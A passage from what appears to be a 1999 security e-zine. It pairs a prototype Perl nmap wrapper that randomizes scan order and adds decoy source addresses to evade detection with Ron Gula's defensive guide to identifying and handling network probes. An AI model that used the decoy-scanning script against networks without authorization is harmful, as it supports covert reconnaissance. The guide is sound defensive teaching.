       I started working on some scripts to 'wrap' nmap and allow for
       stealthier scanning routines.  The goals for this script include:
       
               Creating a host/port table and then randomizing it.
               Scanning each host/port combination in a random sequence.
               Easy creation of decoy addresses.
               Parallel scanning with child process management.
               Consolidation of log files into a nlog-style db or MySQL.
       
       There are still a number of issues I am working on, if you have any
       suggestions/complaints email me:
       
       Delay between scans should be a random number within a user-defined range.
       
       Decoy addresses should remain the same during each scan to eliminate chance 
       of detection by coordinating traffic logs from each scanned host and finding
       the real address in each.
       
       Log file consolidation (maybe use -m - and read it all from an open pipe?)
       
       Better option set for the nwrap script.
       
       Attached is the protoype perl script, I wanted to get some feedback
       about what stealth options/techniques people wanted to see implemented
       in a nmap wrapper script.
       
       
       -HD aka spinux
       
       http://nlog.ings.com
       http://www.trinux.org
           [ Part 2: "Attached Text" ]
       
       #!/usr/bin/perl
       
       use Getopt::Long;
       
       sub exitclean {
          my ($msg) = @_;
          print "$msg\n";
          exit 2;
       }
       
       
       $SIG{INT}=\&sig_catch;
       
       &GetOptions("debug", \$OPTdebug,
                   "p:s", \$OPTports,
                   "i:s", \$OPTinput);
       
       open (INPUT,"<".$OPTinput) || exitclean("Could not open host input file:  $!");
       @targets = (<INPUT>);
       close(INPUT) || debugprint("close() failed on INPUT: $!");
       
       
       # create a host/port list and shuffle it
       
       @targets = shuffle(\@targets);
       @ports = parse_ports($OPTports);
       @ports = shuffle(\@ports);
       
       foreach $host (@targets)
       {
           chomp($host);
           @ports = shuffle(\@ports);
           foreach $port (@ports)
           {
               push @output, "$host $port";
           }
       }
       @output = shuffle(\@output);
       
       
       # now do something with that host/port list
       foreach $out (@output)
       {
        ($nmaptarget,$nmapport) = split(/\s+/,$out);
        $logfile = "$nmaptarget.$nmapport.log";
        print "Scanning port $nmapport on $nmaptarget...\n"; 
        system ("nmap -sS -m $logfile -P0 $nmaptarget -p$nmapport -D" . rdecoys(getpppip())) 
        || print "Could not launch nmap:  $!\n";
       
       }
       
       exit(0);
       
       
       #
       # Functions
       #
       
       sub getpppip {
           my $DATA=`ifconfig | grep P-t-P | awk \'\{ print \$2 \}\'`;
           my $crap;
           my $ip;
           chomp($DATA);
           ($crap,$ip) = split(/\:/,$DATA);
           return $ip;
       }
       
       sub rdecoys {
           my ($ip) = @_;
           my @octets = split(/\./,$ip);
           my $count;
           my @decoys = ();
           my $decoy;
           my $output;
           
           for ($count = 0; $count < 6 ; $count++)
           { $decoys[$count] = int(rand()*255); }
       
           foreach $decoy (@decoys)
           { 
               $output .= "$octets[0].$octets[1].$octets[2].$decoy,";
           }
           $output .="ME";
           return $output;
       }
       
       sub debugprint {
         ($msg) = @_;
         print "[debug]  $msg\n" unless (!$OPTdebug);
       }
       
       sub sig_catch {
          my $signame = shift;
          print "\nRecieved SIG$signame, exiting...\n";
          exit 2;
       }
       
       
       ###############################################################################
       #
       #   Function:   shuffle
       #   Purpose:    Randomize an array
       #   To-Do:      Done
       #   Date: 04/09/99
       #
       #   Comments:   This routine was pretty much ripped from 'Perl Cookbook' pg 121-122
       #               
       ###############################################################################
       
       
       sub shuffle {
           my $array = shift;
           my $i = scalar(@$array);
           my $j;
           foreach $item (@$array )
           {
               --$i;
               $j = int rand ($i+1);
               next if $i == $j;
               @$array [$i,$j] = @$array[$j,$i];
           }
           return @$array;
       }
       
       
       
       ###############################################################################
       #
       #   Function:   parse_ports
       #   Purpose:    Take in an nmap style port list and return an array
       #   To-Do:      Add a check to make sure all the ports added are numeric
       #   Date: 04/09/99
       #
       ###############################################################################
       
       sub parse_ports {
           my ($portstring) = @_;
           my $splitter = ",";
           my @portlist = ();
           my @portsplit = ();
           my $port;
          
           @portsplit = split($splitter,$portstring);
           foreach $port (@portsplit)
          
           {
               @range = split(/\-/,$port);
               if (scalar(@range) > 1)
               {
                   if ($range[0] > $range[1] || $range[0] < 0 || $range[0] > 65535 || $range[1] < 0 || $range[1] > 65535)
                   {
                       print "Your range of $range[0] -> $range[1] is invalid!\n";
                       exit(1);
                   }
                   for ($i = $range[0]; $i < $range[1] + 1; $i++)
                   {
                       if ($i > 0 && $i < 65536)
                       {
                           push @portlist, $i;   
                       }
                   }
               
               } else {
                   push @portlist, $port;
               }
           }
           
           return @portlist;
       }
       
       @HWA      
       
 32.0  How to handle and identify network probes
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       http://www.Genocide2600.com/~tattooman/infosec-faq/probes.txt
       <a href="http://www.Genocide2600.com/~tattooman/infosec-faq/probes.html">Html Version</a>
       
       (71k/89k)
       
       




       How to Handle and Identify 
       Network Probes
       
       
       "What to do when your DNS server gets FIN-SYN 
       scanned from Russia at 4:00 in the morning."
       
       
       
       
       
       
       By Ron Gula
       
       April 1999
       
       rgula@network-defense.com
       http://www.network-defense.com
       Copyright 1999 Network Defense Consulting
       
       
       
       
       
       
       
       
       Abstract
       
       Do you know what to do when suspicious network probes are detected on 
       your network? It's surprising, but many people do not follow common 
       sense and simple logic when analyzing malicious network activity. Even 
       worse, when contacting other organizations to complain, security incidents 
       can be misrepresented because all of the facts are not in order, incorrect or 
       even erroneous theories. This paper details a variety of steps that you can 
       take to get the most effectiveness and accuracy from your intrusion 
       detection system. It also concentrates on determining the who, what, why, 
       where, when and how of any network security event so that you can 
       accurately relay this information to others. 
       
       
       Introduction
       This paper is loosely organized into a list of rules that can be applied to your network operation in the event 
       of an external network scan. Each rule has several examples of what can go wrong and what can go right 
       for a given situation. The rules are also in the order they should be applied in a network security situation. 
       The last section discusses how to handle internal security events at a high level. Please use this paper as a 
       guide. Think about it and what it means for your particular network. It may make the difference between 
       deterring a network attack and having to respond to a network compromise.
       Rule #1: Don't Panic
       
       It's 2:00 AM. You are in a deep sleep when suddenly the phone comes to life. Speaking to you is a late shift 
       network operator who is frantically describing a list of  ISS RealSecure events. The operator also describes 
       that the firewalls are also going crazy and two NT machines just mysteriously rebooted. The VP of 
       Operations has been notified and she is on her way in. What do you do?
       
       Even though network security events are reported in the media and they are a very serious threat, they are 
       not likely to occur to you on a daily basis. (If they are occurring to you on a daily basis you must be pretty 
       good at dealing with them by now and probably don't need this paper.) Most network organizations that 
       suffer multiple attacks and probes experience them in groups. They are not sporadic events. 
       
       With this in mind we can roughly classify network probes into two categories. First, the security event 
       could actually be the result of a non-security event. This is known as a 'false positive'. In this case there is 
       nothing to worry about. Second, the security event could be a probe that tested your site for something. 
       Tests could include determining the type of operating system of a server or even sweeping the network for 
       open ports. If the probe turns up negative, there is a good chance that 'they' won't be coming back. With this 
       situation, there is also little to worry about. At your leisure, you can pursue those responsible for the probe. 
       If the probe seems to have found something that is vulnerable, then you may have returning visitors.  
       Regardless of the outcome of the probe, it requires careful analysis and some judgement calls to determine 
       its nature. That's what the rest of this paper is about. 
       
       When presented with a security event, all you really know is that further investigation is required. Knowing 
       that these things don't happen that often shouldn't cause you to put the analysis of the event off to long 
       though. Timely analysis of any security event is the key to quickly finding the real ones from the false 
       positives.
       
       Panic or at least an adrenaline rush is experienced by many network administrators when security incidents 
       occur. Here are some rules of thumb to keep in mind when handling the situation. 
       
       Initially, only tell people about the security event on a need to know basis 
       
       Telling one person who tells another can cause any office or operations center to quickly fill with people 
       who are not the right ones to deal with the problem. They may also get in the way. Discretion is highly 
       recommended.
       
       Watch out for overworked people
       
       When any network event occurs, there is a tendency for normal people to rise to the challenge and work 
       long hours to see the event through. Security events are no different. If an event occurs at the end of a 
       normal duty day or a shift, people working extra hours may suffer from fatigue, irritability and hunger. All 
       of these can impair the judgement of any human. It may also endanger them for their ride home. Latter on 
       we discuss the importance of documentation. Documentation and tracking of a security event can make 
       change over between employees much easier.
       
       Don't let people jump to conclusions 
       
       During high pressure situations, some people may feel the need to blame others in an attempt to find 
       answers. It's important to downplay any of these comments until all of the facts are considered.
       
       Get second opinions on 'rash' decisions 
       
       When conducting a security investigation, it is very important to get input from peers and even 
       management about your current theories and plans. For example, it may seem like a good idea to take the 
       corporate web server offline for analysis, but a second opinion might ask you to stand up a replacement. If 
       probes are occurring in real time, it is also temping to take certain courses of action such as 'hack backs', 
       setting up of honey-pots or even trying to slow the scanning down. All of these actions may have 
       unintended repercussions on your company or network.
       
       Focus on any obvious explanations 
       
       It may not seem obvious, but suspicious activity can be explained away most of the time with normal 
       network events. Consider recent network changes or scheduled network testing when analyzing a security 
       event.
       
       Like it or not, as the network security guru you are also in a position of leadership during security events. If 
       you are not sure of yourself, panicked or exhibiting a high level of stress, these traits can easily spread to 
       other people. In ideal situations, the network security staff (if there are more than one of you) is regularly 
       involved in network operations.  Knowing your coworkers and making sure that they know you will reduce 
       stress and panic during security events.
       
       "Don't worry", you say to the late shift operator, "I will dial in and check the logs. Tell Beth I'll give her an 
       initial status report in about fifteen minutes. If it looks bad, I'll be coming in." 
       Rule #2: Document Activity
       
       It's Monday morning and you receive a call from the Vice President of Information Security. He wants to 
       know how many network probes we have received over the last three months and if any of them came from 
       our competitors. What would you tell him?
       
       When any network security event occurs, you should document it. It doesn't matter how you record the 
       information as long as it is secure, accurate and can be stored for some time. I like to keep a log book, but 
       log books can be lost. Some network shops record suspicious logs directly to CD-ROM. More and more 
       network shops are using ticketing systems to track security events. These have the advantage of existing in 
       a database which can easily be searched for event correlation. You need a solution which is right for you. 
       
       Why document? There are several reasons: 
       
       People forget, even security gurus 
       
       Having a physical record of security events from days gone past is an immense help when analyzing 
       security events of today and tomorrow. Being able to answer questions like, "Has this IP address ever 
       scanned us before?", or "How many other IMAP probes have we had this year?" can only be answered by 
       reviewing historical logs. 
       
       Security systems may not keep logs forever 
       
       Some security programs do not keep logs forever. They delete old logs to make room for new ones. If you 
       have a system such as this, then those security events from last month might not be in your security system 
       any more. Keeping logs separate from the production systems ensures a greater level of data protection 
       also. What happens if you have a hard drive crash? Many security systems do not use back-ups for data 
       integrity. 
       
       It might be evidence in court 
       
       If you keep good logs (and good is subject to lawyer's interpretation) then those logs may be used as 
       evidence in a court case. It is very important to keep a 'chain of evidence' with any log system. This means 
       you need to have proper access control on the log information. If the security or integrity of the log can be 
       questioned, then the log may not be admissible in court. Paper print outs and CD-ROMs tend to be more 
       believable than electronic media. Even logging of DNS names instead of IP addresses may be an issue, 
       since DNS name resolution can be corrupted. 
       
       It helps you sell security 
       
       If you are like most companies, network security is viewed as an important but expensive thing. Firewalls, 
       intrusion detection systems and conferences to Black-Hat are all expensive. Keeping logs can help show 
       management that there is indeed a threat and they are getting their money's worth from you and the fancy 
       security equipment.
       
       Final thoughts:
       
       During the heat of the moment is when it is most important to write down or record any information about 
       a security event. Don't forget to record the people involved, their phone numbers and what they have said. 
       Recording all of the information allows for more efficient processing of the data once it is assembled 
       together. 
       
       Later on, when things are less hectic, it is good practice to write up the security event in a one or two page 
       paper. Sharing this paper with any lessons learned can have a very positive effect on your entire network 
       staff. Keeping records of these reports can also help you and possibly your successor. 
       
       "I can have a report for you this afternoon," you tell the VP of Information Security. After hanging up, you 
       leave your Quake 2 session and start to work on the report. You utilize the last three monthly security 
       incident reports and look at some of the more interesting recorded logs from those events. You conclude 
       that your network was probed four times, all from Asian IP domains, but never from your competitor's 
       address space. You deliver the report to the VP and emphasize where the information came from and how 
       the security staff is responsible for maintaining it. 
       Rule #3: Identify Activity
       
       While looking at the intrusion detection logs, you observe a variety of TCP packets going only to your DNS 
       servers. The TCP FIN and SYN flags are set in each packet. The destination ports for the packets are ports 
       0, 21, 143 and 2049. None of those ports are active. What is going on?
       
       Depending on the situation and the available information, it can be very difficult to get a clear picture of all 
       aspects to a security event or network probe. Distinct events may not seem related until another piece of the 
       puzzle is added for clarity. Attempting to answer the basic questions of who, what, why, when and where is 
       a good place to start and can provide you with a framework to paint a picture of what has transpired.
       
       WHO?
       
       If this is a network security event, then you are probably obtaining network data from an intrusion detection 
       system, a firewall or some other network element. In most cases you know the source and destination IP 
       addresses involved. This is the 'who' and there are a wide variety of tools that can be used to glean 
       information about the owners of the addresses.
       
       nslookup 
       
       This tool is available on NT and UNIX. The command can convert IP addresses to DNS names and vice 
       versa. It is usually a good place to start to get some quick information about a suspicious IP address. Some 
       care should be taken though. DNS information can be spoofed. One of the neatest hacks is to modify DNS 
       answers to throw network security investigators off of your trail. DNS queries may also be observed by the 
       network attacker. This may alert them that their scanning has been discovered. Many ISPs have taken to 
       naming their dial-up PPP or SLIP addresses with the word 'dial', 'ppp', 'modem' or 'slip'. If you see these, 
       there is a good chance that the source of the scan is a modem user. Similar assumptions can be made for 
       'home.com' names in which those IP addresses are assigned to cable modems. Consider obtaining a shell 
       account well away from your corporate network to conduct DNS lookups. This may not alert the scanner 
       that you have detected their activity.
       
       whois 
       
       Once you have a DNS name, you can query the 'whois' database to find out contact information for that 
       domain. When domains are registered, they usually require some sort of contact information to include a 
       phone number, an email address and a name. Don't underestimate that the name in the whois database could 
       be the fellow doing the scanning. It's unlikely, but it has been known to happen. There are a variety of web 
       interfaces to the whois database and UNIX clients have a built in whois command. Here is example whois 
       output for network-defense.com :
       
       [root@gigan /root]# whois network-defense.com
       [rs.internic.net]
       
       Registrant:
       Company Name (NETWORK-DEFENSE-DOM)
          9305 Sun Down Pl
          Nowhere, MD 21047
          US
       
          Domain Name: NETWORK-DEFENSE.COM
       
          Administrative Contact, Technical Contact, Zone Contact:
             Gula, Ron  (RG15449)  rjgula@HOME.COM
             410-212-9898
          Billing Contact:
             Gula, Ron  (RG15449)  rjgula@HOME.COM
             410-212-9898
       
          Record last updated on 24-Nov-98.
          Record created on 24-Nov-98.
          Database last updated on 7-Apr-99 12:28:52 EDT.
       
          Domain servers in listed order:
       
          NS.AUTONO.NET                209.48.2.11
          NS10.AUTONO.NET              206.86.247.30
       
       It can be seen here that there is a lot of information that can be used for documentation and contact 
       purposes. There is a home address in case you want to launch Tomahawk missiles, a telephone number for 
       voice contact, an email address and which DNS servers 'take care of' the queried domain.   
       
       arin 
       
       The ARIN database is publicly available at http://www.arin.net/whois/arinwhois.html and allows us to find 
       out the owners of a particular IP address. When DNS has not offered us an answer to what we are looking 
       for, doing a reverse IP lookup can still tell us something. Here is an example ARIN search output for 
       24.3.17.92 which is a home.com IP address:
       
       @Home Network (NETBLK-ATHOME)   
       ATHOME                  24.0.0.0 - 24.7.255.255
       
       @Home Network (NETBLK-MD-COMCAST-HWRD-1) 
       MD-COMCAST-HWRD-1       24.3.16.0 - 24.3.23.255
       
       This query provides us with some interesting information. First, we know that the IP address is part of the 
       home.com (@Home) ISP.  A lot of hackers get cable modems. A lot of hackers hack people with cable 
       modems. The second pieces of information tells us that @Home is using the Comcast Cable company for 
       local access. One could even venture a bet that the 'MD' referred to Maryland and the 'HWRD' referred to 
       Howard county. It's dangerous to assume things like this, but in some cases it makes sense. For instance, 
       not every net block that has a 'TX' in it is from Texas. Use good judgement.
       
       The Web 
       
       If you know the IP address of a network probe source, you may want to try to look for web servers on that 
       network. An easy way to do this is through guess work. Lets say a target's DNS name resolves to 
       name1.place.com for an example. Attempting to go to the web server at www.place.com may provide you 
       with the network's public web server. In some cases, using a tool such as nmap to scan a class C network 
       for any web server can be fruitful. This should only be done as a last resort. In ISP networks, scanning a 
       class C network may not bring you any closer to information about the scanner as you connect with one 
       unrelated user's web page after another. The goal here of course is to discover some sort of contact for you 
       to voice your distress over the network scanning.
       
       It is also very important to understand exactly 'who' locally is involved in the scanning. Recording IP 
       addresses is not enough. What is the second level relationship between them. Is this a sequential scan? Are 
       these systems mail systems? Do they run IRC daemons? Are they all DNS servers? You get the picture. 
       Figuring this out may allow you to understand what drew the network scanners to your network in the first 
       place.
       
       WHAT?
       
       Determining what a network scanner is probing for can be a very difficult activity. I offer some general 
       guidelines to analyze suspicious activity, but no one can be certain exactly what the intention of a particular 
       scan is without asking the person doing the scanning. More importantly, we discuss a variety of scanning 
       techniques and the type of information that the scan returns. Using this to analyze activity on your network 
       can be interesting. We do not consider techniques for direct vulnerability probing because this is a very 
       cumbersome topic and a lot has been written about it already.
       
       Topology Mapping
       
       Much suspicious network activity concerns discovery of target network and systems by malicious 
       individuals. Sophisticated attempts exist that can map out a network. Attackers equipped with knowledge 
       of a network's hierarchy can plan effective attacks. Here are some common and not so common topology 
       scanning techniques that you may observer on your networks.
       
       ICMP Sweeps
       
       ICMP packets may be used to determine if a target IP address is alive or not. Typically, a scanning 
       program may send an ICMP ECHO REQUEST packet and anticipate an ICMP ECHO 
       RESPONSE. When multiple hosts are queried this way it is better know as a 'ping sweep'. If the 
       host isn't there, there is no response. Firewalls and routers can be used to block this sort of traffic. 
       This scanning can be directed at one host, or many. It can also be spread out over time such that a 
       target network may not become alarmed that it is being scanned.
       
       More advanced ICMP scanning techniques make use of non-ECHO ICMP protocols. There are a 
       wide variety of ICMP protocols besides ECHO. These include support to request timestamp and 
       netmask information. Many firewall and packet filter designers forget to block all ICMP traffic 
       and only filter ECHO traffic. In this case, making non-ECHO requests is still a valid form of host 
       identification.
       
       The ICMP protocol can also be used with broadcast addresses. Typically associated with ICMP 
       denial of service attacks, ICMP broadcast packets may be able to map out large portions of a 
       network with one packet. 
       
       TCP/UDP Sweeps
       
       Most people associate TCP and UDP scanning with determining which ports are available on a 
       particular network server. The reality is that responses from any port may indicate that an IP 
       address is active. Sending a UDP or TCP packet to a high port and receiving a response is a good 
       indication that something is there. Exactly what comes back depends on the target operating 
       system, the packet sent and any firewalls or packet filters.
       
       TCP packets have flags that indicate which part of a TCP conversation they are in. Typically, TCP 
       sessions start with a SYN packet from a client to a server. This is followed by a SYN-ACK packet 
       from the server to the client if the target service (or port) is active. If it isn't, then the server 
       responds with a RESET packet.  Both the SYN-ACK and the RESET packets can be used to 
       identify active IP addresses by network scanners. It should be noted that some firewalls can spoof 
       a RESET packet from an IP address, so that technique may not be that reliable.
       
       UDP scanning is tougher to do than TCP for a variety of reasons. First, UDP packets can be 
       dropped by routers as they cross the Internet. This is true! Try it for yourself! (Use a program to 
       send UDP packets across the net and see how many actually get there). Second, many UDP 
       services don't respond when correctly probed. It's the response of an ICMP PORT 
       UNREACHABLE message that identifies a UDP port that is not active. Considering that UDP 
       packets may be dropped and firewalls may also be configured to drop them, UDP scanning may 
       seem very unreliable. UDP scanning does have an advantage of being able to make use of IP 
       broadcast addresses. A network that allows UDP packets could be mapped by sending a packet to 
       the broadcast address on a high port. If the port were not filtered, then the scanning node would 
       receive ICMP PORT UNREACHABLE messages from many target networks systems.
       
       SNMP Scanning
       
       The Simple Network Management Protocol (SNMP) is used and supported by a wide variety of 
       network elements and network management software. Modern hubs, switches and routers all 
       support SNMP. Many servers such as Solaris and Windows NT also have SNMP functionality. 
       SNMP has several versions, the most common of which is version 1. Security in version 1 is 
       handled by a clear text community string that functions as a password. Any SNMP packet must 
       have the proper community string. Without it, the packet is rejected. 
       
       The problem with SNMP is that all network vendors ship their products with default community 
       strings of 'public'. Any scanner that has access to SNMP enabled network nodes simply uses the 
       'public' community string and starts to send queries. Data obtained over SNMP can completely 
       diagram a network and include other information such as CPU type, firewall rule configurations 
       and even web server performance. Tools exist that help attackers brute force community strings.  
       
       Obtaining Router Configurations
       
       Another way to map a network is to get a copy of some router configuration files. With enough 
       different router configurations, a network scanner can map your network without sending any 
       packet probes. I've even been on some penetration tests where a network organization has 
       published there router configurations publicly on a web server! This information should be 
       protected. 
       
       Many routers and network elements such as hubs and switches also have vendor passwords that 
       are used for diagnostics and maintenance. These passwords are well known to network crackers 
       and can easily be used to obtain configurations, which in turn can be used to map a network.
       
       Some routing protocols allow for polling of route information. RIP is a classic example of this. 
       With RIP, any client can query another network device to obtain the routing table. 
       
       Time To Live
       
       Almost every one has used the 'traceroute' program. This program discovers the number of hops 
       between IP addresses. It does this though the use of the IP time-to-live value. Every time a packet 
       is routed, this value decrements by one. When the value is zero, the packet is discarded and an 
       ICMP error message is returned to the sending IP address. The TTL prevents packets that are 
       misrouted from floating around on the Internet forever. By purposely sending out packets with low 
       TTL values and watching for the ICMP error messages, automated programs can be used to 
       discover how many hops (routers) there are between them and a particular IP address.
       
       When attempting to map the topology of a remote network, combinations of traceroute attempts 
       can provide a good picture of how the network is put together. Attackers can use this information 
       to find sub-networks that may be weekly defended and possibly exploit trust relationships. 
       
       Scanning with non-standard IP Protocols
       
       Another technique to map out a network and identify live hosts is to send IP packets to target 
       networks that are non-standard protocols. Lets assume that the 'standard' IP protocols are 
       ICMP(1), TCP(6) and UDP(17). Most firewalls and packet filters designers tend to focus on these 
       protocols when designing firewall rules. They may inadvertently allow traffic from other 
       protocols. If so, then a network scanner may be able to illicit a response from a target IP address 
       by sending in this sort of traffic. The response will most likely be an ICMP PROTOCOL 
       UNREACHABLE message. Some of these protocols may also be sent to the broadcast address.
       
       Multicast Packets
       
       The last example of scanning to discover a target network's topology is by exploiting multicast 
       packets. Multicast IP addresses have been set aside by the Internet community and are handled 
       different by routers and servers. With multicast packets, one IP address can theoretically send the 
       same packet to many other IP addresses. If a network scanner is 'upstream' from you, they may be 
       able to send multicast packets into your network for mapping purposes. Being 'upstream' is 
       required so the scanner can correctly spoof multicast packets only to your network. Some packet 
       filters and servers ship with multicast functionality enabled. This can be exploited by remote 
       network scanners to discover live hosts. 
       
       Remote Operating System Identification
       
       Another piece of information that network probes attempt to discern is the type of operating system of a 
       given IP address. There are a variety of methods that exist to do this and we discuss them here. These scan 
       techniques are very popular in the hacker community.
       
       Banner Grabbing
       
       If a system is not secured behind a firewall or through disabling of network resources, then most 
       services can be used to identify an operating system. The TELNET banner is a classic example of 
       this. Almost all TELNET banners have a very distinct look about them and actually say what the 
       operating system is. Other services such as mail transfer agents can identify the operating system 
       too. 
       
       DNS names
       
       If you observe many DNS queries, a remote network scanner may gain knowledge of your 
       operating systems if you've named them descriptively. Many DNS schemes include the operating 
       system. Examples such as 'node123-w95.example.com' and 'nt4-102.example.com' could name 
       Windows 95 and Windows NT systems. 
       
       TCP Trickery
       
       A technique that uses distinct variations in TCP stack implementations to determine the type of 
       remote operating system is known as TCP fingerprinting. The basic concept of this probe is to 
       send specific TCP packets to an IP address and observer the responses. The TCP traffic sent is a 
       rather odd combination of destination ports and flag combinations. TCP responses are also 
       considered and these include sequence number randomness and initial window sizes. There are 
       probably other techniques. Several tools exist such as Queso and Nmap that have a large database 
       of responses to these odd TCP probes and can reliably identify servers and network elements.
       
       Some of the more common techniques you may see are TCP probes that have the FIN and SYN 
       bits set. This combination never occurs naturally. Other flag combinations used are null (no flags) 
       and SYN-RESET. Both of these scan types can occur naturally in a variety of network traffic such 
       as normal web browsing. 
       
       One of the more advanced scanning techniques I've come across is the use of a bogus 'error' 
       packet. The packet is TCP with a normal IP header. All of the TCP data is identical except for the 
       TCP flags. For example, the TCP packet could entirely consist of bytes with the value of '0x4e'. 
       This would correspond to a source and destination port of 20046. But for the TCP flags, the 
       correct bit values for a FIN-SYN or a SYN-RESET would be used. If the packet is recorded, it 
       may look like an error packet and be ignored by a network analyst.  But it could be performing 
       remote operating system identification.
       
       Standard services
       
       When trying to identify a particular remote operating system, another technique used is to probe 
       for specific combinations of ports. These port combinations can reliably identify the target 
       platform. Testing for DNS or SMTP services are not distinct enough for scanners to test for 
       because they are very common. However testing for servers that have IMAP(143) and 
       NFSD(2049) active may indicate the Linux operating system. Solaris servers have a variety of 
       RPC services that are enabled by default. The same goes for HP-UX and SGI. Network scanners 
       who know these combinations can identify target systems this way.
       
       Peculiar Behavior
       
       Some network nodes may exhibit very odd or strange protocol behaviors. This can best be 
       illustrated with an example. Cisco routers communicate with each other on port 1999. During the 
       three way TCP handshake, the Cisco router will identify itself by placing the word 'cisco' in the 
       data portion of the SYN-ACK packet. This is a very trivial way to identify Cisco routers. 
       Knowledge of this type of behavior can help discreetly identify remote systems.
       
       Port Scanning Techniques
       
       Many network probes are attempts to discover active services on a network or on a particular server. 
       Typically, these scans are automated and connect with ranges of ports on a particular IP address. They then 
       report the ports that were open or active. Network attackers can then select exploits based on the active 
       ports found. Here are some different port scanning techniques that you may encounter when analyzing 
       network probes.
       
       Slow Scanning
       
       Since typical port scans can show up in system logs (Sendmail, TCP wrappers, Klaxon, etc. ) , 
       network scanners can simply spread out the scan over a long period of time. Determining if a 
       single packet is part of a larger port scan is very difficult if the other packets aren't there. 
       Depending on the level of network activity, it may be possible to avoid detection simply by 
       delaying scan packets for one minute. 
       
       Random Scanning
       
       Again, another way to avoid port scan detection is to randomize the order in which the ports are 
       tested for. Many commercial IDS products and firewalls watch for sequential connection attempts. 
       They may have a threshold of common sequential destination ports and when this threshold is 
       crossed, a port scan is reported. Randomizing the port testing avoids exceeding the sequential 
       destination port threshold. 
       
       SYN Scans
       
       A SYN scan is yet another attempt to bypass system level port scan detection. On most systems, a 
       network connection is only recorded if the TCP three way handshake is completed. SYN scans 
       send a single SYN packet to the destination port and then wait to see the response. If it is a RESET 
       packet then the port is dead and no further action is taken. If the response is a SYN-ACK packet, 
       then a RESET packet is sent back to the target that disengages the three way handshake. 
       Sometimes this RESET packet is generated by the SYN scan program and other times it is 
       generated directly by a response from the scanning operating system's IP stack.
       
       Spoofed SYN scan
       
       A trivial modification to the SYN scanning technique is to completely spoof the SYN packet from 
       another IP address on the scanner's network. The spoofed IP address has to be one in which the 
       return traffic from the server will flow past the scanner. It sniffs the network traffic to discover 
       which ports are active. If a scanner is 'upstream' from a spoofed IP address (for instance in a DMZ 
       in front of 10,000 computers) then it can be very hard to trace. The spoofed IP address can be from 
       a machine that is alive or dead. 
       
       This technique can also be used to generate many other simultaneous scans from other IP 
       addresses. A defending network would perceive that it is being scanned by several different 
       networks. The extra data can be missed by IDS nodes and can also be very hard to analyze. 
       Determining the real IP address responsible for the scan is possible in some cases, but usually not. 
       One way to tell if you are the victim of spoofed scans is to check for similar time to live values in 
       each of the scanned packets. If all of the incoming packets have the exact same time to live (TTL) 
       value, then this is suspicious. Conducting a traceroute to each of the IP addresses may allow you 
       to eliminate some of the spoofed sources. Some network scanners such as Nmap randomize their 
       initial TTL settings with a value between 51 and 65. 
       
       Fragmented Scan
       
       In an attempt to hide their probes, network scanners may also fragment their packets. All IP 
       packets that carry data can be fragmented. For TCP packets, fragmentation can occur that places 
       the destination port in one packet and the flags in another. Network IDS nodes may incorrectly 
       reassemble or completely miss portions of the scan. Fragmentation that places ports in one packet 
       and flags in another is something that does not occur naturally on IP stacks. 
       
       Proxy Scanning
       
       If a protocol or service can be exploited by a network scanner such that the service can make 
       arbitrary network connections, then the protocol can be used for port scanning. Some proxy 
       servers and most FTP daemons can be used to conduct port scans. The classic example is the FTP 
       Port Scanner in which a surrogate FTP server is used to make many network connections to a 
       target system. The FTP protocol allows for the client to specify which IP address and port the 
       server should send data to. Information returned by the FTP server can be used to identify open or 
       closed ports on the target system. 
       
       Finding Targets of Opportunity
       
       Some scanning is only focused on one thing - finding vulnerable systems. This type of scanning is 
       subjective, but basically involves a lot of automation. There are some different strategies used by network 
       scanners to find vulnerable systems. Here are a few of them:
       
       Wide Scanning
       
       Very simply, a network scanner will scan large sets of IP addresses for a particular service or set 
       of services. Scanning usually encompasses 'Class B' ranges of IP addresses. This type of scanning 
       can be identified by two factors. One, the scanning is very sequential. It is so sequential that 
       computers not part of the range scanned don't see any traffic from the scanning host. Second, 
       follow on activity from the scanning host usually doesn't happen for some finite amount of time. 
       This could be a day or a few hours. It reflects the notion that a scanning program takes a long time 
       to complete. Once it is complete, the person running the scanner usually starts to test out the data. 
       
       Finding vulnerable servers using that service
       
       When looking for vulnerable servers, many exploitable services have their own system of 
       organization. DNS is a classic example. If a hacker wants to find a list of DNS servers, there are a 
       variety of tools and databases that can be utilized. The same goes for IRC, Usenet News and web 
       crawlers. Probes that occur on your network may be the result of chance and be happening simply 
       because you have that service! Later on we consider what draws hackers to one network over 
       another.
       
       Access Control List Mapping
       
       Fire-walking
       
       Very recently, a paper was released that detailed a technique dubbed 'fire walking'. This technique 
       combined port scanning and traceroute tools into one that could analyze the aggregate protocol 
       map allowed to a particular host. In other words, this allows remote users to map out a particular 
       set of firewall rules or access control lists.  
       
       SNMP
       
       SNMP queries may be inadvertently allowed to firewalls and packet filters. If this condition is 
       true, then remote network scanners could be able to obtain the exact filter rules for your network. 
       
       Direct RPC Scanning
       
       Normal RPC scanning (rpcinfo -p) sends a query to the rpcbind program which is more commonly known 
       as the portmapper. This query can ask for a list of all other RPC programs on the server. RPC programs 
       historically have always existed around port 1024, or usually below that. Several years ago, Solaris and 
       many other flavors of UNIX started to run RPC programs around port 32771. Many packet filter and 
       firewall designers were unaware of this situation and deployed access control lists that did not prevent 
       connections to these ports. 
       
       In the case of 'normal' RPC behavior, it is possible for an RPC program to be assigned a port slightly above 
       port 1024. If the firewall rules do not prevent this sort of connection, then the RPC service is directly 
       accessible from external IP addresses. The same goes for RPC programs that are assigned ports above port 
       32771. These also may be directly connected to.
       
       Network scanners may search for these 'high' RPC ports by using port scanning to identify ports and then 
       conduct RPC queries to any ports that are open. If an RPC service is identified, it may have a vulnerability 
       that can be exploited.
       
       WHY?
       
       Figuring out 'why' a particular suspicious network event occurred can be a very challenging and daunting 
       task. The important thing to realize (and sometimes this only comes through experience) is that some things 
       can't be explained. When an explanation seems to elude you or your staff, don't let it consume more and 
       more resources. Prioritize your investigation and don't let it be hindered by not understanding exactly why 
       something happened.
       
       For example, a server may have been rebooting sporadically and your staff suspects that a new denial of 
       service attack is being used. Sniffing, intrusion detection and system security analysis indicate otherwise. 
       Finally, a maintenance person discovers a faulty power supply. This example may seem all to trivial, but 
       occurs many times on modern networks. 
       
       Another example of a 'why' explanation is to consider the source of the security information. Many network 
       management intrusion detection systems are complex and have many threshold levels for causing alarms to 
       trip. If these threshold levels are drastically changed, then all of a sudden, there may be many system alerts 
       and possible intrusions. Try to identify any recent system changes that could attribute such activity. 
       
